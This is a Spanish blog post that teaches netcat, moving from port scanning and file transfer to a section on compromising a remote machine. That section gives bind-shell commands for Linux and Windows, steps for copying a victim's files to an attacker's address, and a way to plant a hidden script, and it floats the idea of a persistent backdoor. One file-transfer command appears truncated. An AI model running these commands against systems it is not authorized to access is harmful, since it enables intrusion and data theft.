2008-12-20

NetCat sobre seguridad Linux y mas..

Mucho se habla de la seguridad en linux, pero, cuantos realmente saben de lo que se trata, pocos se imaginan que con unos simples comandos se puede ganar el acceso total a un sistema, o usar programas que nos permitan ver todo el flujo de una red incluida nombres de usuario y contraseñas.
El mundo de la seguridad informatica es tremendamente enorme, así que me voy a enfocar solo en algunos puntos claves que creo de interés.

La Navaja Suiza - NetCat

Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).
Fuente: Wikipedia

Ahora hagamos algunas pruebas para interiorizarnos en el tema…

Haciendo algunas pruebas :: Conectandose a un servidor

Parte del uso de sockets es la conexión a una maquina remota / Servidor la forma es muy simple.

# nos conectamos a smtp.gmail.com en el puerto 587
nc smtp.gmail.com 587

De esta manera nos conectamos al servidor indicado y vemos que nos devuelve:

220 mx.google.com ESMTP 9sm9456733yxs.55

Haciendo algunas pruebas :: Escaneado de Puertos

Que? sirve para escanear puertos? si, claro, no tiene la potencia de nmap pero es muy útil, y su uso es más que simple:

# Suponemos que queremos hacer un escaneo a los puertos TCP 21 y 80
nc -v -w 4 -z 21 80
# Ahora lo mismo, pero con un rango, así es más útil
nc -v -w 4 -z 1-2045

Ahora detallamos los parametros:

-v : Verbose - muestra info en pantalla
-w x: Espera X segundos antes que caduque la conexion
-z : Zero mode - No enviar datos al puerto (si, no envia datos para hacerlo)

La salida sería algo como esto:

iuga@rebuilt:~$ nc -v -w 4 -z localhost 1-65535
localhost [127.0.0.1] 631 (ipp) open
localhost [127.0.0.1] 445 (microsoft-ds) open
localhost [127.0.0.1] 139 (netbios-ssn) open

Si queremos ir un poco más a fondo, podemos escanear puertos UDP:

nc -vz -u localhost 1-90

-vz : Info + Zero mode
-u : Puerto UDP

Haciendo algunas pruebas :: Levantando un servidor y conetarse al mismo

Levantar un servidor con netcat significa poner un proceso, en este caso netcat, a la escucha en un determinado puerto, la idea es simple, el proceso escucha, hasta que alguien se conecta a él para su uso. Creamos el servidor de la siguiente manera:

nc -l -p 666

-l : Modo Listen, se pone a la escucha
-p : Indica el puerto

Ya tenemos nuestro servidor netcat levantado en el puerto 666, claro no hace nada, pero para conectarnoe podemos:

nc localhost 666

Muy simple no? Ya podemos enviar y recibir info:

Conectarse a un server
Probando la conexión a un server

Haciendo algunas pruebas :: Enviando Archivos

Para no hacer esto tán largo y complicado y llegar a lo que realmente importa vamos con el ejemplo directo.
El que recibe el archivo ejecuta:

nc -l -p 2000 > fichero.recibido

Luego, el que envia el archivo:

nc localhost 2000 <>

Los límites del uso de NetCat

Entre los usos que le podemos dar a esta espectacular herrmienta se encuentra:

  • Servidor de echo
  • Servidor de daytime
  • shell remota estilo telnet
  • Telnet inverso
  • Cliente de IRC
  • Cliente de correo SMTP
  • HTTP
  • Streaming de audio
  • Streaming de video
  • Proxy
  • Comprometiendo un sistema :: Obteniendo una shell de una maquina remota

    Como el título lo dice, vamos a controlar la shell de una máquina remota (linea de comandos, consola, como quieran llamarlo). Para esto, en la máquina objetivo levantamos el servidor:

    # Si es windows
    nc -l -d -e cmd.exe -p 666
    # Si es unix
    nc -l -p 666 -e "/bin/sh"

    e “comando” : Ejecuta el comando entre comillas

    Para conectarnos simplemente:

    nc localhost 666


    Obteniendo una shell remota con netcat

    En este punto ya podemos tirar cualquier comando sobre la maquina objetivo y ver la respuesta. Voy a intentar dar un pantallazo de como funciona.
    Primero, el servidor escucha en el puerto y esta listo para devolverle la shell al que se conecte.
    Segundo, Nos conectamos y nos devuelve la shell, pero no vemos nada, para ver si funciona, podemos intentar ejecutar un comando, como ls.
    Tercero, el servidor creado, recibe la entrada de datos y lo interpreta como una entrada en la shell, así que tras recibir un enter, ejecuta el comando e imprime los datos en el “buffer”.
    Como en este caso netcat es el “buffer” envia los datos a la maquina atacante
    Cuarto, en nuestra linda consola, vemos la salida del comando, pero ejecutado en la otra PC.

    Comprometiendo un sistema :: Sacando archivos de la maquina afectada

    Como se estarán dando cuenta, hay muuchas maneras de transferirnos un archivo, pero voy a explicar la más sencilla.
    Primero tenemor el servidor victima: vvv.vvv.vvv.vvv

    nc -l -p 666 -e "/bin/sh"

    Ahora desde el atacante ejecutamos:

    # Nos preparamos para recibir el archivo
    nc -l -p 667 > fichero.deseado.recibido
    # Nos conectamos al servidor
    nc vvv.vvv.vvv.vvv 666
    # Buscamos en los directorios hasta dar con el archivo interesado
    cd Private
    ls
    # Ahora, lanzamos otro servidor para la transferencia del archivo
    # le indicamos nuestra IP Publica ccc.ccc.ccc.ccc
    nc ccc.ccc.ccc.ccc 667 < fichero.deseado
    # Cerramos la conexion [ Ctrl + C ]

    Alguien con dos dedos de frente y algo de ruta sobre unix se dara cuenta de varias cosas, como que el método tiene un gran defecto, los logs, no solo queda registrado que sacamos un archivo, sino NUESTRA IP y la hora, suficiente como para darnos caza.


    Transifiendo un archivo desde una máquina remota

    Comprometiendo un sistema :: Detrás de las lineas enemigas

    Hasta ahora, estamos en un bypass, podemos conectarnos, tener acceso total a la maquina y sacar los archivos que nos interesen de ahí. pero mejoremos un poco nuestra posición e introduzcamos un script a la victima.

    nc vvv.vvv.vvv.vvv 666
    touch .script.maloso.sh
    echo "#!/bin/sh" >> .script.maloso.sh
    echo "echo El usuario del sistema es:" >> .script.maloso.sh
    echo "whoami" >> .script.maloso.sh
    chmod u+x .script.maloso.sh

    Completamente inútil estarán pensando, y tienen toda la razón…Pero el concepto es lo importante no el ejemplo, porque nos será muy útil. Ahora imaginemos que hacemos un script, que inicie con el sistema y que se encargue de poner un netcat en x puerto y avisarnos por mail la ip de la victima, si, completamente peligroso, pero eso es motivo de otro post…

    Documentación

    WikiLearning - NetCat
    Wikipedia - Netcat
    PDF - Creando una shell Remota
    Manual de Crysol de NetCat

    No hay comentarios: